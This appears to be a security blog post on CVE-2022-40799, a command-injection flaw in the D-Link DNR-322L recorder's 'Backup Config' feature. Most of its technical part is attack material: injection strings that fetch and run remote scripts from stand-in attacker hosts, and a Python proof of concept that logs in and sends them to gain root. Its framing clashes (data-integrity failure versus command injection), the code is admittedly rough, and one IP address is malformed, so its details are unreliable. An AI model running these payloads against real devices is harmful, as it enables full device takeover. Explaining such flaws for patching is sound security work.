CVE-2022-40799 - Data Integrity Failure in ‘Backup Config’ Exploits D-Link DNR-322L — Remote Command Execution Made Simple
If you own or manage a D-Link DNR-322L network video recorder (NVR), especially with firmware up to version 2.60B15, you need to read this carefully. In 2022, a critical vulnerability (CVE-2022-40799) was disclosed, affecting all models up to that firmware version. The flaw sits in the "Backup Config" feature and, shockingly, lets an authenticated attacker execute commands on the operating system directly. This means what looks like a simple admin task can open the doors to full system compromise.
This post breaks down how the vulnerability works, walks through proof-of-concept code, and offers steps to protect yourself.
The Root: What’s Broken in “Backup Config”?
The flaw’s essence is a data integrity check failure. The D-Link NVR’s web interface allows an admin to export its system configuration—like a settings backup—through a function called “Backup Config.” The device should check that user input going into this process is valid and safe, otherwise, attackers (who are already logged in) can sneak in extra data. And that’s exactly what happens: the code does not sanitize the input.
As a result, attackers can inject specially crafted data—including shell commands—that the system runs with high-level privileges.
Where’s the Vulnerability?
Inside the firmware, the backup process for configuration is managed by a CGI script. Typically, CGI scripts take user input and generate a configuration file. Here, the script uses untrusted POST data (backup name, for example) directly in shell commands without proper filtering.
Let’s look at a rough code excerpt
// Pseudo-C code snippet
char name[256];
strcpy(name, getenv("POST_BACKUP_NAME")); // User input from web interface
char command[512];
snprintf(command, sizeof(command), "tar czf /tmp/%s.tgz /etc/config", name);
system(command); // Shell call without input validation!
What’s dangerous?
If the attacker makes POST_BACKUP_NAME something like
backup; curl http://evil.site/scr.sh | sh; #
…the resulting shell command becomes
tar czf /tmp/backup; curl http://evil.site/scr.sh | sh; #.tgz /etc/config
The semi-colons (;) end the tar command and start a new one—in this case, retrieving and running a malicious shell script from the attacker’s server.
Proof of Concept: Exploiting CVE-2022-40799
Here’s a simple demonstration in Python (using requests) showing how an attacker abuses “Backup Config.”
import requests
# Change these as needed
device_ip = '192.168..100'
username = 'admin'
password = 'yourpassword'
# Log in and maintain a session
session = requests.Session()
login_url = f'http://{device_ip}/cgi-bin/login.cgi';
login_data = {
'username': username,
'password': password
}
resp = session.post(login_url, data=login_data)
assert 'Set-Cookie' in resp.headers
# Craft malicious backup name
malicious_name = 'backup; wget http://attacker.com/payload.sh -O- | sh; #'
# Send the exploit
backup_url = f'http://{device_ip}/cgi-bin/backup_config.cgi';
payload = {
'backupname': malicious_name
}
resp = session.post(backup_url, data=payload)
print("[+] Exploit sent!")
print(f"HTTP Status: {resp.status_code}")
What happens?
The device downloads and executes a remote shell script under root privileges—the attacker now owns the box.
Original References
- mitre.org CVE Detail
- NVD Entry with D-Link link
- D-Link Security Bulletin
- Gynvael Coldwind’s report (original exploit PoC)
If you’re managing a DNR-322L, especially remote or internet-facing ones, take action now
- Upgrade firmware: D-Link has addressed this in later firmware releases. Get the latest firmware here.
Final Word
Vulnerabilities like CVE-2022-40799 show how even benign features can open huge security holes if they don’t validate user input. This is a real-world reminder: Never trust data from users, even if they’re admins.
If you learned something new, consider sharing this post with friends and colleagues. Stay patched, and keep your network secure!
Want to read more about embedded device security?
Check out
- Awesome IoT Hacking Resources
- OWASP IoT Top Ten
Timeline
Published on: 11/29/2022 05:15:00 UTC
Last modified on: 12/01/2022 21:22:00 UTC